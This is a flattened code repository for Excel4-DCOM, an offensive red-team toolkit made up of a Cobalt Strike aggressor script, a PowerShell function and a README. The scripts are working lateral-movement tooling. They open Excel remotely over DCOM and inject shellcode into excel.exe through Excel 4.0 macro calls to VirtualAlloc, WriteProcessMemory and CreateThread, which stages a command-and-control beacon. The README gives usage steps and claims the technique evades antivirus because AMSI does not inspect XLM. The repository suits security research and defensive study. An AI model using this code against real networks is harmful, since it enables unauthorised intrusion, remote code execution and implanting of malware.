├── Excel4-DCOM.cna ├── Invoke-Excel4DCOM.ps1 └── README.md /Excel4-DCOM.cna: -------------------------------------------------------------------------------- 1 | # ExecuteExcel4Macro DCOM Lateral Movement script for Cobalt Strike 2 | # 3 | # Author: Stan Hegt (@StanHacked) / Outflank 4 | # Version: 1.0 (20190324) 5 | # 6 | # Code inspired by Raphael Mudge's comexec.cna 7 | 8 | # Register help for alias 9 | beacon_command_register("excel4-dcom", "Lateral movement with ExecuteExcel4Macro via DCOM", 10 | "Synopsis: excel4-dcom [target] [listener]\n\n" . 11 | "Inject stager payload into excel.exe on a target via ExecuteExcel4Macro DCOM\n" . 12 | "Make sure to run this command in 32 bit beacons only (requires 32 bit PS host)!"); 13 | 14 | # Alias and argument initialisation 15 | alias excel4-dcom { 16 | if ($3 is $null) { 17 | # Let the user choose a listener 18 | openPayloadHelper(lambda({ 19 | excel4_dcom_go($bid, $target, $1); 20 | }, $bid => $1, $target => $2)); 21 | } 22 | else { 23 | # We have the needed arguments, pass them 24 | excel4_dcom_go($1, $2, $3); 25 | } 26 | } 27 | 28 | # Implementation 29 | sub excel4_dcom_go { 30 | local('$command $script $oneliner'); 31 | 32 | # Check if listener exists 33 | if (listener_info($3) is $null) { 34 | berror($1, "Listener $3 does not exist"); 35 | return; 36 | } 37 | 38 | # Check if beacon is x86 or x64 39 | if ((beacon_info($1, "barch") cmp "x64") == 0) { 40 | berror($1, "Please run this command from an x86 beacon"); 41 | return; 42 | } 43 | 44 | btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via ExecuteExcel4Macro DCOM"); 45 | 46 | # Generate x86 shellcode - note that x64 is not implemented due to Excel 4.0 data types. 47 | # Fortunately most MS Office installs are still 32 bits. :-) 48 | $data = shellcode($3, false, "x86"); 49 | $length = strlen($data); 50 | 51 | # Build PowerShell script that uses DCOM to invoke ExecuteExcel4Macro on Excel.Application object 52 | $script = 'Function Invoke-Excel4DCOM {' . "\n"; 53 | $script .= "\t" . '$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "' . $2 . '"));' . "\n"; 54 | 55 | # VirtualAlloc of strlen(shellcode) size 56 | $script .= "\t" . '$memaddr = $excel.ExecuteExcel4Macro(\'CALL("Kernel32","VirtualAlloc","JJJJJ",0,' . $length . ',4096,64)\');' . "\n"; 57 | 58 | # Write shellcode per byte (yes, this should be implemented more neatly in a future release) 59 | for ($i = 0; $i < $length; $i++) { 60 | $script .= "\t" . '$string = "CHAR`(' . asc(charAt($data, $i)) . '`)";'; 61 | $script .= '$ret = $excel.ExecuteExcel4Macro(\'CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, \' + ($memaddr + ' . $i . ') + \', \' + $string + \', 1, 0)\');' . "\n"; 62 | } 63 | 64 | # CreateThread call to kick off our shellcode 65 | $script .= "\t" . '$excel.ExecuteExcel4Macro(\'CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, \' + $memaddr + \', 0, 0, 0)\');' . "\n"; 66 | 67 | # We keep our DCOM object alive for 1 hour 68 | $script .= "\t" . 'Start-Sleep -seconds 3600' . "\n"; 69 | 70 | $script .= '}' . "\n"; 71 | 72 | # Temporarily write the script to disk 73 | $handle = openf(">".script_resource("excel4-dcom.ps1")); 74 | writeb($handle, $script); 75 | closef($handle); 76 | 77 | btask($1, "Stored lateral movement PowerShell script in " . script_resource("excel4-dcom.ps1")); 78 | 79 | # Run the script we built. Note that we have to do this via powershell_import, due to the scripts file size 80 | bpowershell_import($1, script_resource("excel4-dcom.ps1")); 81 | bpowershell!($1, "Invoke-Excel4DCOM"); 82 | 83 | btask($1, "PowerShell initiated (you can verify this with the jobs command)."); 84 | 85 | # Complete staging process (for bind_pipe listeners) 86 | bstage($1, $2, $3); 87 | 88 | btask($1, "Completed! If everything worked, you will have a beacon in a few minutes. Note that this beacon will auto-exit after one hour, so make sure to migrate before this."); 89 | } -------------------------------------------------------------------------------- /Invoke-Excel4DCOM.ps1: -------------------------------------------------------------------------------- 1 | #********************************************************************** 2 | # Invoke-Excel4DCOM.ps1 3 | # Inject shellcode into excel.exe via ExecuteExcel4Macro through DCOM 4 | # Author: Stan Hegt (@StanHacked) / Outflank 5 | # Date: 20190324 6 | # Version: 1.0 7 | #********************************************************************** 8 | 9 | function Invoke-Excel4DCOM 10 | { 11 | <# 12 | .SYNOPSIS 13 | Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM. 14 | .DESCRIPTION 15 | Use Excel 4.0 / XLM macros on a DCOM instance of excel.exe to do shellcode injection. Works against 32 bit installs of MS Office only (fortunately, this is true for the majority of instances)! 16 | If you receive error 80040154, make sure to execute this function from a 32 bits PowerShell host. 17 | .PARAMETER Computername 18 | Specify a remote host to inject into. 19 | .PARAMETER UserList 20 | Specify a file containing the x86 shellcode. 21 | .EXAMPLE 22 | PS > Invoke-Excel4DCOM -ComputerName server01 -Payload C:\temp\payload.bin 23 | Inject x86 payload from payload.bin into excel.exe on server01. 24 | .LINK 25 | http://www.outflank.nl 26 | .NOTES 27 | Outflank - stan@outflank.nl 28 | #> 29 | [CmdletBinding()] Param( 30 | [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)] 31 | [Alias("PSComputerName","MachineName","IP","IPAddress","Host")] 32 | [String] 33 | $ComputerName, 34 | 35 | [Parameter(Position = 1, Mandatory = $true)] 36 | [Alias("Shellcode")] 37 | [String] 38 | $Payload 39 | ) 40 | if ([Environment]::Is64BitProcess) { throw "Error - please run this function from a 32 bit PowerShell host" } 41 | 42 | $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName")) 43 | 44 | $sc = get-content -Encoding Byte $Payload 45 | 46 | $memaddr = $excel.ExecuteExcel4Macro('CALL("Kernel32","VirtualAlloc","JJJJJ",0,' + $sc.length + ',4096,64)') 47 | 48 | $count = 0 49 | foreach ($byte in $sc) { 50 | $string = "CHAR`($byte`)" 51 | $ret = $excel.ExecuteExcel4Macro('CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, ' + ($memaddr + $count) + ',' + $string + ', 1, 0)') 52 | $count = $count + 1 53 | 54 | Write-Progress -Id 1 -Activity "Invoke-Excel4DCOM" -CurrentOperation "Injecting shellcode" -PercentComplete ($count / $sc.length * 100) 55 | } 56 | 57 | $excel.ExecuteExcel4Macro('CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, ' + $memaddr + ', 0, 0, 0)') 58 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Excel4-DCOM 2 | PowerShell and Cobalt Strike scripts for lateral movement using Excel 4.0 / XLM macros via DCOM (direct shellcode injection in Excel.exe). 3 | 4 | ## Technology 5 | Last year, after our presentation at DerbyCon, we released a blog post detailing the abuse of Excel 4.0 macros (also called XLM macros). This is a macro language which is completely different from VBA and which has been embedded within Excel since 1992. The original blog can be found here, which includes a process injection sample: https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/ 6 | 7 | It turns out that Excel 4.0 macros are also exposed to DCOM via the ExecuteExcel4Macro method. We modified our process injection XLM macro sample to work on remote hosts as well via DCOM and we hereby release it in PowerShell and Cobalt Strike script versions. 8 | 9 | ## Usage 10 | **Cobalt Strike version** 11 | 12 | `Excel4-DCOM ` 13 | 14 | This will inject a x86 staging payload into excel.exe on the target host. Make sure to execute this from a 32 bit beacon (which can be running on a 64 bit system). 15 | 16 | **PowerShell version** 17 | 18 | `Invoke-Excel4DCOM -ComputerName -Payload ` 19 | 20 | This will inject a x86 staging payload into excel.exe on the target host. Make sure to execute this from a 32 bit PowerShell host (%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe). 21 | 22 | ## Why would I use this method over lateral movement method XYZ? 23 | A big plus for this method is that it does direct shellcode injection into excel.exe via Windows API calls. In contrast to most other lateral movement methods (including practically all DCOM-based ones), this technique does **not** rely on powershell.exe or any other LOLBIN at the target. Hence, this method can be completely *"fileless"*. And as a plus, AMSI only works for VBA macros and not for XLM, making this method very difficult to detect by AV. 24 | 25 | ## What are the disadvantages of this method? 26 | Firstly, this method is slow. The Cobalt Strike staging payload (roughly 800 bytes) requires about 1 to 2 minutes to be injected in a remote host. Note that this is mostly due to the Proof of Concept implementation which injects the payload byte-by-byte in order to avoid XLM macro line-length constraints. It should be possible to do this in chunks of 10 bytes, while still remaining under XLM line-length limits. I just need to find some time to brush up my code. :-) 27 | 28 | Secondly, due to XLM data type constraints (read our blog for details), this method only targets 32 bit installs of Excel.exe - which fortunately is the vast majority of installations. Note that x86 installs on x64 systems are fine. This also means that you should execute this method from a 32 bit PowerShell host or beacon. 29 | 30 | ## Authors 31 | Stan Hegt (@StanHacked) / Outflank 32 | 33 | Special thanks to Philip Tsukerman (@PhilipTsukerman) for pointing out to me that Excel 4.0 macros are exposed via DCOM. 34 | --------------------------------------------------------------------------------